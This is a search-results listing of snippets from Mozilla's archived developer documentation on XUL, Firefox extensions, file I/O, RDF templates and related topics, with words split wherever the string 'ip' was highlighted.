ipt app and share functionality between the two. this allows you to take advantage of webassembly's performance and power and javascr
ipt's expressiveness and flexibility in the same apps, even if you don't know how to write webassembly code. and what's even better is that it is being developed as a web standard via the w3c webassembly working group and community group with active partic
ipation from all major browser vendors. guides webassembly concepts get started by reading the high-level concepts behind webassembly -- w...
...And 5 more matches
loader/sandbox - Archive of obsolete content
omitted or null: then the sandbox will have chrome privileges giving it access to all the xpcom components. optionally the sandbox function can be passed a second argument (see sandbox documentation on mdn for details). ...
... omitted or null: then the sandbox will have chrome privileges giving it access to all the xpcom components. optionally the sandbox function can be passed a second argument (see sandbox documentation on mdn for details). ...
...n the sandbox will have chrome privileges giving it access to all the xpcom components. optionally the sandbox function can be passed a second argument (see sandbox documentation on mdn for details). evaluate code module provides evaluate function that lets you execute code in the given sandbox: evaluate(scope, 'var a = 5;'); evaluate(scope, 'a + 2;'); //=> 7 more details about evaluated scr
ipt may be passed via optional arguments that may improve exception reporting: // evaluate code as if it was loaded from 'http://foo.com/bar.js' and // start from 2nd line. evaluate(scope, 'a ++', 'http://foo.com/bar.js', 2); version of javascr
ipt can be also specified via an optional argument: evaluate(scope, 'let b = 2;', 'bar.js', 1, '1.5'); // throws cause `let` is not defined in js 1.5. loa...
...And 4 more matches
Display a Popup - Archive of obsolete content
in this tutorial we'll create an add-on that adds an action button to the toolbar that displays a panel when clicked. ...
... in this tutorial we'll create an add-on that adds an action button to the toolbar that displays a panel when clicked. ...
... in this tutorial we'll create an add-on that adds an action button to the toolbar that displays a panel when clicked. ...
...And 4 more matches
Examples and demos from articles - Archive of obsolete content
[article] typewriter effect [html] the following example will delete and re-type simulating a typewriter all the text content of the nodelist which match a specified group of selectors. [article] fade in/out [html] sometimes a page uses dozens and dozens of animations. in such a condition is difficult and unnatural to keep track of all events started and then to stop them when appropriate through the cleartimeout() function. ...
...ermine if an element has been totally scrolled [html] this example shows how to determine whether a user has completely scrolled an element or not. [article] css pure-css dropdown menu [html] with the :hover pseudo-class you can create complex cascade algorithms. ...
... how to determine whether a user has completely scrolled an element or not. [article] css pure-css dropdown menu [html] with the :hover pseudo-class you can create complex cascade algorithms. this is a common technique used, for example, in order to create pure-css dropdown menus (that is only css, without using javascr
ipt). .[article] pure-css web gallery based on the :hover pseudoclass [z
ip] you can use the :hover pseudo-class in order to build an image gallery with full-size images shown only when mouse goes over previews. .[article] pure-css web gallery based on the :checked pseudoclass [z
ip] you can also use the :checked pseudo-class applied to hidden radioboxes in order to build, for example, an image gallery with full-size images shown only when mouse clicks on previews. [ar...
...And 4 more matches
HTML to DOM - Archive of obsolete content
although you can now natively parse html using domparser and xmlhttprequest, this is a new feature that is not yet supported by all browsers in use in the wild. the code sn
ippets on this page will let your site work until these new features are more widely available. safely parsing simple html to dom when using xmlhttprequest to get the html of a remote webpage, it is often advantageous to turn that html string into dom for easier man
ipulation. however, there are potential dangers involved in injecting remote content in a privileged context in your extension, so it can be desirable to parse the html safely. ...
...n using xmlhttprequest to get the html of a remote webpage, it is often advantageous to turn that html string into dom for easier man
ipulation. however, there are potential dangers involved in injecting remote content in a privileged context in your extension, so it can be desirable to parse the html safely. the function below will safely parse simple html and return a dom object which can be man
ipulated like web page elements. this will remove tags like <scr
ipt>, <style>, <head>, <body>, <title>, and <iframe>. it will also remove all javascr
ipt, including element attributes that contain javascr
ipt. function htmlparser(ahtmlstring){ var html = document.implementation.createdocument("http://www.w3.org/1999/xhtml", "html", null), body = document.createelementns("http://www.w3.org/1999/...
...the <div> is returned, and it is never actually appended to the current page. ...
...And 4 more matches
Enhanced Extension Installation - Archive of obsolete content
the rdf/xml datasource for the items at the // global install location. }; tracking install locations since there are only two locations, the installed location of an extension is expressed throughout the code using a boolean value, often referred to as isprofile - true if the item is installed in the profile directory's extensions folder. this boolean relationsh
ip itself is not stored directly in the datasource. rather, if the system needs to know where an item is located, it checks to see if the item is a member of the the appropriate type container (urn:mozilla:extension:root or urn:mozilla:theme:root) in each of the two datasources. this is clumsy. item type the extension system in firefox 1.0 supports only two item types, extensions and themes. this ...
... therein. the startup process receives this "needsrestart" bit when the extension manager's startup completes, shuts down xpcom and relaunches the application. on the next restart, the xredirprovider now supplies a list of directories to requesting systems listing the new item's components, defaults and chrome manifests. ...
... what is shown in this file. this replaces the individual extensions.rdf files at the old locations. <profile>/extensions-startup.manifest -all items this file contains a tab delimited set of lines, one per item. this is a list of all installed items, disabled or not, keyed first by install location name, then by guid. the following information is stored for each entry: the persistent descr
iptor of the path where the item lives. the last modified time of that path, used to detect out of process upgrades. optionally, an operation key that tells the startup system that there is an install operation pending that needs to be finalized, e.g. needs-install, needs-upgrade, needs-uninstall, needs-enable, needs-disable, needs-install when the extension manager starts, this dataset is ...
...And 4 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
nce summer 2007. matsuzawa-san is a co-author of firefox 3 hacks (o'reilly japan, 2008.) this chapter discusses tools to assist in developing extensions. tools for extension developers fixme: are we sure we'll talking about venkman since it's not well maintained fixme: we maybe should talk about firebug and chromebug fixme: and what about console 2 and docked-js console? venkman, the javascr
ipt debugger venkman is a full-fledged javascr
ipt debugger that runs inside firefox. it works like typical debuggers, and is useful not only for developing extensions, but also for general web development. also, because it works with the javascr
ipt in extensions and firefox itself, the debugger can be a good way to learn about design methods. installing this is bundled with the mozilla suite and...
...n extensions and firefox itself, the debugger can be a good way to learn about design methods. installing this is bundled with the mozilla suite and the current version of seamonkey, but it needs to be installed as an extension in firefox. see https://addons.mozilla.org/firefox/216/. install the extension in firefox directly from the above url and relaunch firefox. starting up select "javascr
ipt debugger" from the tools menu. targeting javascr
ipt for debugging. when venkman first launches, it can only debug the file currently open in your web browser. this is because a lot of javascr
ipt files can slow down the browser down if they're opened for debugging, but you'll need to lift this restriction in order to develop extensions. uncheck the "exclude browser files" menu item under the de...
...n, and step into to always call it; once you are done investigating a function, use step out, and then you can step into the next function. set breakpoints in locations of interest where you're not sure what's going on, and the next time you run it, use continue to shift to that location and start investigating again. fixme: figure 4: adding a watch target mozunit mozunit is a tool for javascr
ipt that assists with unit testing. it provides an ui similar to that of ecl
ipse's junit test runner. it should be very easy for java programmers to get up to speed on it quickly. installing mozunit is a feature of mozlab. install mozlab from the following url and relaunch firefox. http://hyperstruct.net/projects/mozunit after relaunching, set up the editor you'll use to write tests. open the ab...
...And 4 more matches
Chapter 1: Introduction to Extensions - Archive of obsolete content
confirms and runs updates provides access to add-ons' settings dialogs provides access to add-ons' support sites development environment amenities initially, there wasn't adequate documentation available, and extension developers were largely left to fend for themselves1; however, now there's a considerable store of knowledge. because firefox and its extensions are designed to support mult
iple languages, excellent extensions come from all over the world, and can be quickly localized by anyone interested. this lowers the threshold both to using and to developing extensions; that fact, combined with firefox's rapidly growing popularity, has created a positive feedback loop, with the number of extension users and extension developers growing explosively--there are now more than 7000 ex...
...pen the most recently closed tabs to the history menu. locationbar separates a url's domain and path in the location bar for easier reading. feature enhancing extensions fixme: update this. these extensions enhance features that already exist in firefox. tab mix plus offers detailed tab-related settings. prefbar gives access to numerous preferences from the toolbar. noscr
ipt enables and disables javascr
ipt execution on a site-by-site basis. web application integration extensions fixme: update this. the use the apis of certain web applications to provide certain pieces of information. new feature extensions fixme: update this. extensions can add completely new features to firefox. this class of extension requires a greater level of knowledge and programming...
... extensions fixme: update this. the use the apis of certain web applications to provide certain pieces of information. new feature extensions fixme: update this. extensions can add completely new features to firefox. this class of extension requires a greater level of knowledge and programming ability. greasemonkey userchrome.js both of these provide an environment for running user scr
ipts (javascr
ipt) in firefox itself, where the scr
ipts can target specific websites. adblock plus blocks the display of unwanted advertisements on web pages. all-in-one gestures adds mouse-gesture functionality. application level extensions fixme: update this. these are sophisticated extensions that can be considered full-scale applications in their own right, essentially using firefox as...
...And 4 more matches
Adding windows and dialogs - Archive of obsolete content
<< previousnext >> opening windows and dialogs to open a new window, use the javascr
ipt window.open function just like with html windows. window.open( "chrome://xulschoolhello/content/somewindow.xul", "xulschoolhello-some-window", "chrome,centerscreen"); the first argument is the url to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the behavior and appearance of the window. if this value is null or empty, the default toolbars of the main window will be added to the new one, which is rarely what you want. the window.open page has a detailed descr
iption of the features you can use and their values. the following features are very important and you should always keep them in mind: chrome. this...
...it indicates that a chrome document is being opened, not a web page. this means that the document defines the whole window, and not only the inner content area. ...
...zation, so you save yourself a lot of work and favor them. using the prompt service is the recommended way to create common dialogs in an extension. read the article and its examples carefully, because there are many useful functions to use in the prompt service. there are some equivalent, simpler functions that are available in the window object, but those are meant for unprivileged html javascr
ipt code. alert the alert is the simplest form of dialog. all it does is display a text message that the user can read and then click the ok button to dismiss it. we have been using the window.alert function to open alert messages in our examples so far, but that's not the right way to do it. it's ok to use this function if you're just debugging some problem and want to see if the program reaches ...
...And 4 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
using eval in add-ons is almost always unnecessary, and many times even a security vulnerability. moreover, code using eval is harder to parse for a human mind, is often pretty complex, and relies on assumptions that are not necessarily true in the future or even now. this article is aimed at presenting alternatives to common eval uses in add-ons and other javascr
ipt code. add-on authors are strongly encouraged to update their code to eliminate all instances of eval, no matter if the add-on is to be hosted in the mozilla add-ons gallery or not. in order to host your add-on with mozilla it is crucial to minimize or completely eliminate eval use in order to receive a positive review and have your add-on made public. if it cannot be easily proven that an eval() call is benign and necessary ...
...le another person with malicious intentions takes over your domain. the server and/or domain name might be compromised. if using an unencrypted, insecure connection, a man-in-the-middle attacker might replace the json with attack code before it arrives at the user. use native json since firefox 3.5 you should use json. ...
...ed in javascr
ipt. these implementations are less efficient and often also contain serious security vulnerabilities. such implementations are meant to be used within a very different security context, namely a website, where the origin of the data is usually known in all instances and where vulnerabilities would have a much smaller impact. what about jsonp? jsonp, which really is just another scr
ipt tag containing generated, remotely retrieved code, is generally not secure. it might be possible to execute any retrieved jsonp code in an unprivileged sandbox (which is complicated!), but if you have a choice, just avoid jsonp altogether! passing around functions/code as strings often you'll want to pass functions or code to other functions, most notoriously settimeout and addeventlistener. o...
...And 4 more matches
Localizing an extension - Archive of obsolete content
<< previousnext >> this article expands upon the previous samples on extension writing by adding localization support to our stock watcher extension. performing a few simple steps makes your extension much easier to localize into various languages without having to edit the xul or javascr
ipt files themselves. if you haven't already created an extension, or would like to refresh your memory, take a look at the previous articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension download the sample you can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension. download the sample localizing strings in xul files create the ...
...n xul file, we need to add one line to the xul file. to options.xul, we add this line: <!doctype window system "chrome://stockwatcher2/locale/options.dtd"> we add a similar line to the stockwatcher.xul file: <!doctype overlay system "chrome://stockwatcher2/locale/stockwatcher2.dtd"> in larger applications you might need to use entities from several locale files in a single xul file. using mult
iple dtds describes how to do it. note that the urls of the dtd files don't actually include the name of the localization to use. the chrome registry resolves the uris based on the user's current locale setting and the data you provide in your chrome manifest. then we simply replace each text string in our xul files with the corresponding entity. for example, in stockwatcher2.xul, we change this lin...
...mation()"/> do this for every string used in each xul file. update the chrome manifest to let firefox know about the locale files, we need to make a revision to our chrome.manifest file, adding one line for each localization: locale stockwatcher2 en-us chrome/locale/ this instructs firefox that the en-us localization is located in the chrome/locale/en-us directory. localizing strings in javascr
ipt code if your javascr
ipt code contains literal strings that need to be localized, as does our stock watcher sample, we need to make those localizable as well. we can do this by moving the strings into a string bundle. string bundles are created by establishing a property file that maps keys to string values. for a detailed explanation of how this works, see xul tutorial:property files. create a p...
...And 4 more matches
MMgc - Archive of obsolete content
n the library; for example: mmgc::gc, mmgc::gcfinalizedobject. alternately, you can open the mmgc namespace in your c++ source so that you can refer to the objects more concisely: using namespace mmgc; ... gc* gc = gc::getgc(this); gcobject* gcobject; gc class the class mmgc::gc is the main class of the gc. it represents a full, self-contained instance of the garbage collector. it may be mult
iply instantiated; you may have mult
iple instances of the garbage collector running at once. each instance manages its own set of objects; objects are not allowed to reference objects in other gc instances. the gc typically is constructed early in your program's initialization, and then passed to operations like operator new for allocating gc objects. there are a few methods that you may need to ca...
... mmgc_profile environment variable to 1. the mmgc_memory_profiler feature is implied by the debugger feature and is always on in debug builds. deleted object poisoning and write detection mmgc will "poison" memory for deleted objects, and will detect if the poison has been written over by the application, which would indicate a write to a deleted object. stack traces (walk stack frame and lookup
ips) when #define memory_info is on, mmgc will capture a stack trace for every object allocation. this slows the application down but can be invaluable when debugging. memory leaks will be displayed with their stack trace of origin. sample stack trace: xmlclass.cpp:391 toplevel.cpp:164 toplevel.cpp:507 interpreter.cpp:1098 interpreter.cpp:20 methodenv.cpp:47 allocation traces, deletion traces etc. ...
...lly contain a gc pointer. that means that it might occasionally turn up a "false positive." a false positive is a memory location that looks like it contains a pointer to a gc object, but it's really just some jpeg image data or an integer variable or some other unrelated data. when the gc encounters a false positive, it has to assume that it might be a pointer since it doesn't have an exact descr
iption of whether that memory is a pointer or not. so, the not-really-pointed-to object will be leaked. memory leaks don't sound like an ok thing, right? well, memory leaks that result from programmer error tend to be bad leaks... leaks that grow over time. with such a leak, you can be pushing hundreds of megabytes of ram real quick. with a conservative gc, the leaks tend to be random, such that the...
...And 4 more matches
Enabling the behavior - updating the status periodically - Archive of obsolete content
tion run a second (1,000 milliseconds) after startup and a minute (60,000 milliseconds) after each invocation. this allows users to get relatively frequent updates about tinderbox without overloading the tinderbox server or slowing down mozilla with requests. our code is now ready to run, but mozilla doesn't know about it yet. ...
...elatively frequent updates about tinderbox without overloading the tinderbox server or slowing down mozilla with requests. our code is now ready to run, but mozilla doesn't know about it yet. to enable its functionality, we have to add a reference to our javascr
ipt code into navigator.xul, just as we put a reference to our css code into that file back in specifying the appearance. ...
...now ready to run, but mozilla doesn't know about it yet. to enable its functionality, we have to add a reference to our javascr
ipt code into navigator.xul, just as we put a reference to our css code into that file back in specifying the appearance. put the javascr
ipt code into a file called tinderstatus.js in the same directory as navigator.xul and reference it in navigator.xul where other javascr
ipt scr
ipts are referenced: ... ...
...And 4 more matches
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
a dynamic overlay. xpis have a complex structure designed to separate ui layers from each other. to make our xpi we'll start out by creating a directory to hold the files we're going to add to the xpi. then we'll modify urls in our files so they point to the right place. after that we'll create a contents.rdf file describing the tinderstatus component for the chrome registry and an install.js scr
ipt to perform the installation. finally we'll z
ip the files into an archive. start out by creating a directory called tinderstatus-installer. create a tinderstatus subdirectory in it and a content sub-subdirectory in that subdirectory. copy the following files into the content sub-subdirectory: tinderstatusoverlay.xul tinderstatus.js tinderstatus.css tb-busted.png tb-nostatus.png tb-succes...
...i. ...
...s in the copy of tinderstatusoverlay.xul to point to the new locations the files will be in when they get installed via the xpi: <?xml version="1.0"?> <?xml-stylesheet href="chrome://tinderstatus/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <scr
ipt type="application/javascr
ipt" src="chrome://tinderstatus/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> we also need to change the urls in the copy of tinderstatus.css: statusbarpanel#tinderbox-status { list-style-image: url("chrome:...
...And 4 more matches
Documentation for BiDi Mozilla - Archive of obsolete content
is determined in nstextfragment::setto the page includes a element with the attribute dir=rtl, either explicitly (nsgenerichtmlelement::mapcommonattributesinto), or as a consequence of a style rule (mapdeclarationtextinto in nscssstylerule.cpp) all these cases use nsdocument::enablebidi to set the flag mbidienabled. in a bidi-enabled document, the following things happen: during a reflow, nsbid
ipresutils::resolve is called. this method uses the uba to determine the directional properties of the text and reorder frames if necessary. if necessary, text frames are split so that every frame has the same directionality. framemanager::setframeproperty is used to set the following flags and pointers (for terminology see the specification of the uba): embeddinglevel: the embedding level of the ...
... nstextframe::getpointfromoffset. text in visual mode must also be reversed before display on a bidi platform. text fields and composer the specification of the bidi changes to composer was posted in the editor and i18n newsgroups, and responses there were taken into account. the implementation is mostly in layout code, especially in nsselection.cpp and nscaret.cpp. ...
...versed before display on a bidi platform. text fields and composer the specification of the bidi changes to composer was posted in the editor and i18n newsgroups, and responses there were taken into account. the implementation is mostly in layout code, especially in nsselection.cpp and nscaret.cpp. other bidi functionality cl
ipboard: based on bidi options in preferences, the text mode of the cl
ipboard may be "logical", "visual" or "as source". ...
...And 4 more matches
Monitoring downloads - Archive of obsolete content
e bonus, it also demonstrates how to use the storage api to issue sqlite commands on a database. the result is a window you can open by choosing "download log" in the tools menu, which lists all downloads that have been started since you installed the extension. in the list is the name of the file, the start and end times of the download, the download speed, and the status of the download. a toolt
ip is included that displays the full source url of the file. download the full sample. setting up when the extension loads, it will do some housekeeping chores. in particular, it needs to get an instance of the download manager's nsidownloadmanager interface and create the database into which its data will be stored. onload: function() { // initialization code this.initialized = true; ...
...; this.dlmgr = components.classes["@mozilla.org/download-manager;1"] .getservice(components.interfaces.nsidownloadmanager); this.dlmgr.addlistener(downloadlogger); // open the database, placing its file in the profile directory this.dbfile = components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.ns
iproperties) .get("profd", components.interfaces.nsifile); this.dbfile.append("downloadlogger.sqlite"); // get access to the storage service and open the database this.storageservice = components.classes["@mozilla.org/storage/service;1"] .getservice(components.interfaces.mozistorageservice); var dbconn = this.storageservice.opendatabase(this.
...ransfercompleted: function(adownload) { var endtime = new date(); // current time is the end time // issue the replace sqlite command to update the record. we find a // record for the same source uri and start time, then update the end // time, size, and speed entries in the record. by matching on both // source uri and start time, we support logging mult
iple downloads of // the same file. var dbconn = this.storageservice.opendatabase(this.dbfile); var statement = dbconn.createstatement("update items set size=?1, " + "endtime=?2, speed=?3, status=?4 where source=?5 and starttime=?6"); statement.bindint64parameter(0, adownload.size); statement.bindint64parameter(1, endtime.gettime()); statement.binddoubleparame...
...And 4 more matches
Mozilla Crypto FAQ - Archive of obsolete content
ic library, and mozilla will include ssl support as a standard feature. after the u.s. government relaxed u.s. export regulations in january 2000 to allow export of source code for open source software implementing encryption, the major remaining legal obstacle to mozilla crypto development was the fact that rsa security, inc., held a u.s. patent on the rsa public key algorithm. in february 2000
iplanet e-commerce solutions (a sun-netscape alliance) released source code through mozilla.org for the personal security manager and network security services software; this source code included support for the ssl protocol, but due to the rsa patent and related legal issues it did not originally contain code for rsa or other cryptographic algorithms. on september 6, 2000, rsa security released th...
...dows, linux, and other platforms. also note that the nss developers are creating code for support of s/mime secure messages; however full s/mime support within mozilla will require further development, and may not be available until after the mozilla 1.0 release. finally, note that nss (and thus psm) can also be built using a licensed copy of the rsa bsafe crypto-c library (versions 4.1 or 5.0).
iplanet e-commerce solutions has released netscape-branded binary versions of personal security manager that incorporate the rsa bsafe library; the netscape psm software can be installed and used with binary mozilla versions. for the very latest information about psm, nss, and other crypto-related mozilla developments, see the mozilla.dev.tech.crypto newsgroup or the corresponding dev-tech-crypto m...
.... is information available describing the format of the psm key and certificate database, so that other software can reuse existing user keys and certificates managed by psm? yes, documentation of the database format is available; however we cannot guarantee that the format of the database will remain unchanged in the future. the initial release of ssl, s/mime, and general pki source code from
iplanet e-commerce solutions includes some documentation on the format of the key and certificate database. as with mozilla documentation in general, mozilla.org will be glad to host any other documentation contributed to describe database formats, apis, and other technical aspects of the released ssl, s/mime, and pki source code. however, as with apis internal to mozilla modules, mozilla.org canno...
...And 4 more matches
Return Codes - Archive of obsolete content
es. bad_package_name -200 a problem occurred with the package name supplied to initinstall unexpected_error -201 an unrecognized error occurred. access_denied -202 the user (or the os) did not grant the required security privilege. ...
...me -200 a problem occurred with the package name supplied to initinstall unexpected_error -201 an unrecognized error occurred. access_denied -202 the user (or the os) did not grant the required security privilege. ...
...d with the package name supplied to initinstall unexpected_error -201 an unrecognized error occurred. access_denied -202 the user (or the os) did not grant the required security privilege. ...
...And 4 more matches
Reading from Files - Archive of obsolete content
file and stream guide: [ nsiscr
iptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscr
iptableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscr
iptableio apis: code sn
ippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. reading data from a file involves getting a reference ...
... if it were text or a binary file. using the former will cause characters in the stream to be interpreted with a particular character encoding. in addition, lines may be read by reading the file up until a linefeed character is detected. a binary stream would be used to read bytes or numbers encoded within the file. ...
...this method will open the file and return a stream. ...
...And 4 more matches
Writing to Files - Archive of obsolete content
file and stream guide: [ nsiscr
iptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscr
iptableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscr
iptableio apis: code sn
ippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. to write to a file, an output stream is used. ...
...me! other documentation on files and i/o not using the unavailable nsiscr
iptableio apis: code sn
ippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. to write to a file, an output stream is used. an output stream is an object which can be used to write bytes, strings and other values to a file. to create an output stream, use nsiscr
iptableio.newoutputstream(). this method has a number of options to specify text or binary writing, the character set, and whether to append to an existing file or create a new one. to create an input stream, first get a reference to a nsifile, and then use nsiscr
iptableio.newoutputstream() to open a stream for writing to it. to learn more about file objects, see files and streams. try { var file ...
...in this example, the operations are enclosed in a try-catch block in order to capture any errors that might occur during the process. ...
...And 4 more matches
Simple Example - Archive of obsolete content
yntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/"> <rdf:seq rdf:about="http://www.xulplanet.com/rdf/myphotos"> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/canal.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"/> </rdf:seq> <rdf:descr
iption rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> <rdf:descr
iption rdf:about="http://www.xulplanet.com/ndeakin/images/t/canal.jpg" dc:title="canal"/> <rdf:descr
iption rdf:about="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg" dc:title="obelisk"/> </rdf:rdf> in this example, we h...
...r, an rdf seq, has the uri 'http://www.xulplanet.com/rdf/myphotos'. this will be the starting point of the navigation. we want the endpoints to be the three images. ...
...g point of the navigation. we want the endpoints to be the three images. first, we set the datasources and ref attributes as needed: <vbox datasources="template-guide-ex2.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> this time, we need to use a new statement, the member condition as well as a tr
iple. <query> <content uri="?start"/> <member container="?start" child="?photo"/> <tr
iple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> the seed is set in a similar manner as the previous examples, effectively creating a single result with the ?start variable set to the reference resource 'http://www.xulplanet.com/rdf/myphotos'. the same starting variable is used in this example, but you can of course use any varia...
...And 4 more matches
Adding Labels and Images - Archive of obsolete content
to add labels and images to a window. in addition, we look at how to include elements into groups. text elements you cannot embed text directly into a xul file without tags around it and expect it to be displayed. you can use two xul elements for this purpose. label element the most basic way to include text in a window is to use the label element. it should be used when you want to place a descr
iptive label beside a control, such as a button. an example is shown below: example 1 : source view <label value="this is some text"/> the value attribute can be used to specify the text that you wish to have displayed. the text will not wrap, so the text will all be displayed on a single line. this syntax is the most common of labels. if the text needs to wrap, you can place the text content insid...
... is also important for accessibility, so that screen readers read aloud the label for the control as the user tabs to it. set the value of the control attribute to the id of the element to be focused. example 3 : source view <label value="click here:" control="open-button"/> <button id="open-button" label="open"/> in the example above, clicking the label will cause the button to be focused. ...
...ccessibility, so that screen readers read aloud the label for the control as the user tabs to it. set the value of the control attribute to the id of the element to be focused. example 3 : source view <label value="click here:" control="open-button"/> <button id="open-button" label="open"/> in the example above, clicking the label will cause the button to be focused. descr
iption element for descr
iptive text not associated with any particular control, you can use the descr
iption tag. this element is useful for informative text at the top of a dialog or a group of controls for example. as with the label element, you can either use the value attribute for a single line of text or place text or xhtml content inside opening and closing descr
iption tags for longer blocks of text. it is more commo...
...And 4 more matches
Modifying a XUL Interface - Archive of obsolete content
creating new elements you can create new elements using the createelement() function of the document. it takes one argument, the tag name of the element to create. you can then set attributes of the element using the setattribute() function and append it to the xul document using the appendchild() function. for example, the following will add a button to a xul window: example 1 : source view <scr
ipt> function addbutton(){ var abox = document.getelementbyid("abox"); var button = document.createelement("button"); button.setattribute("label","a new button"); abox.appendchild(button); } </scr
ipt> <box id="abox" width="200"> <button label="add" oncommand="addbutton();"/> </box> this example has two parts a box container element in xul. notice that this is not the same a...
... container element in xul. notice that this is not the same as a vbox or an hbox. (this is discussed more in the box model pages.) the box element has two attributes "id" and "width". the box element contains a button element. the button element has two attributes "label" and "oncommand" a javascr
ipt function named "addbutton()" this scr
ipt first gets a reference to the box with getelementbyid(), which is the container to add a new button to. the function getelementbyid() does not know that the box it is looking for happens to be containing the tag that has the oncommand attribute that referenced it. getelementbyid() only knows the box it is looking to find has an id with ...
...t. addbutton() then assigns the label 'a new button' to the button using the setattribute() function. finally the appendchild() function of the particular box found by getelementbyid() is called to add the button to it. at this point, the button is attached to a visible box, so it becomes visible as well. the button with the label "add" can be pressed mult
iple times and it will continue to add new buttons, each of which will have the label "a new button", and will only be distinguishable by their place as children in the box element with the id "abox". the createelement() function will create the default type of element for the document. for xul documents, this generally means that a xul element will be created. for an html document, an html...
...And 4 more matches
RDF Datasources - Archive of obsolete content
r datasources the tables below list some of the other datasources available with mozilla. you can use any of the resources that you want. bookmarks (rdf:bookmarks) the bookmarks are generated from the user's bookmark list. ...
...her datasources available with mozilla. you can use any of the resources that you want. bookmarks (rdf:bookmarks) the bookmarks are generated from the user's bookmark list. ...
...ith mozilla. you can use any of the resources that you want. bookmarks (rdf:bookmarks) the bookmarks are generated from the user's bookmark list. ...
...And 4 more matches
Updating Commands - Archive of obsolete content
could just call docommand without checking if the command was enabled or not, although we probably shouldn't do that. the code above is generic enough that it can be a function that takes a command as an argument and executes that command. this function could then be reused for all commands. in fact, this is common enough that mozilla includes a library which does just that. ...
...it is attached to the command which will invoke the command on the necessary controller when called. ...
...command updater is a feature of the commandset element which allows it to update commands when certain events happen. you will need to think about when a command is valid and when it is not. in addition, you will need to consider when the state could change and when the commands should be updated. for example, the paste command is valid when a textbox has the focus and there is something on the cl
ipboard to paste. the command will become enabled whenever a textbox is focused and when the cl
ipboard contents change. a command updater will listen for these situations and code can be executed which enables and disables commands as necessary. a simple command updater looks like this: <commandset id="updatepasteitem" commandupdater="true" events="focus" oncomman...
...And 4 more matches
Using Remote XUL - Archive of obsolete content
remote xul has long been a potential security concern; support for it was disabled in gecko 2.0. this also means you can't load xul using file:// urls unless you set the preference dom.allow_xul_xbl_for_file to true. however, there is a whitelist that lets you specify sites that can still use remote xul. ...
...he preference dom.allow_xul_xbl_for_file to true. however, there is a whitelist that lets you specify sites that can still use remote xul. the remote xul manager extension lets you manage this whitelist, which is maintained using ns
ipermissionmanager, by creating entries of type "allowxulxbl", like this: components.classes["@mozilla.org/permissionmanager;1"] .getservice(components.interfaces.ns
ipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.ns
ipermissionmanager.allow_action); xul (pronounced like "zool"), which is short for xml-based user interface language, is an xml-based language for describing application interfaces. it contains elements for all common ui widgets (menus, buttons, toolbars, etc.) and many sophisticated ones (trees, browsers, color pickers). xul...
...lications. [***aw: we should have a screenshot here of a xul document loaded in a content window***] this tutorial walks you through the process of building xul-based navigation for the mozilla.org web site. after completing the tutorial you should understand how to: create xul documents; serve them from a web server; use cascading style sheets (css) to change their appearance; use javascr
ipt to define their behavior. global web site navigation most web sites today have poor global navigation (features for locating and visiting pages across the entire site). it is difficult to discern the site's basic structure and available resources, which makes it hard to locate a particular page or find the one with the information you want. part of the problem is that html has limited featur...
...And 4 more matches
Using the Editor from XUL - Archive of obsolete content
le may be out of date. overview the editor in xul lives on top of a xul <iframe> element; it observes document loading in this <iframe>, and, when document loading is complete, it instantiates an editor on the loaded document. the <iframe> contents are then editable. note that the <editor> element is really just an <iframe> which takes over some of the task of creating the editor from javascr
ipt. editor creation so let's trace through the process of editor creation when bringing up the composer window. you can find the relevant xul parts in editor.xul, the javascr
ipt parts in editor.js, and the xbl binding for the editor element in editor.xml. something, somewhere, tells mozilla to open the composer window. editor.xul is loaded. in editor.xul, the <window> tag has an onload hand...
... the xul contains an <editor> tag, e.g.: <editor type="content-primary" id="content-frame" src="about:blank" flex="1"/> the attribute type="content-primary" identifies this as the window content element, i.e. ...
...yid("content-frame") or window._content here. the important stuff in editorstartup() begins where we get or create an editorshell. the <editor> tag actually creates an nseditorboxobject behind the scenes. the nseditorboxobject creates an nseditorshell, and holds the owning reference to it. through the magic of xbl, the xul bindings, and the nsieditorboxobject interface, you can get a javascr
ipt reference to the editorshell from the editor element with element.editorshell. we thus have an editorshell to play with. now we set up the editorshell by calling its init() method, telling it what type of editor we want (text or html), pointing it at the webshellwindow to use, and telling it the content node that it lives on: editorshell.init(); editorshell.seteditortype(editortype); ed...
...And 4 more matches
XUL Parser in Python/source - Archive of obsolete content
source code for the xul parser in python. import sys, glob, xmllib import os, re el_list = {} w = open('res.html', 'w') # unfortunately, i had to put this hack in here to suppress the printing out of the resolved namespace: # "xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul window", etc. ...
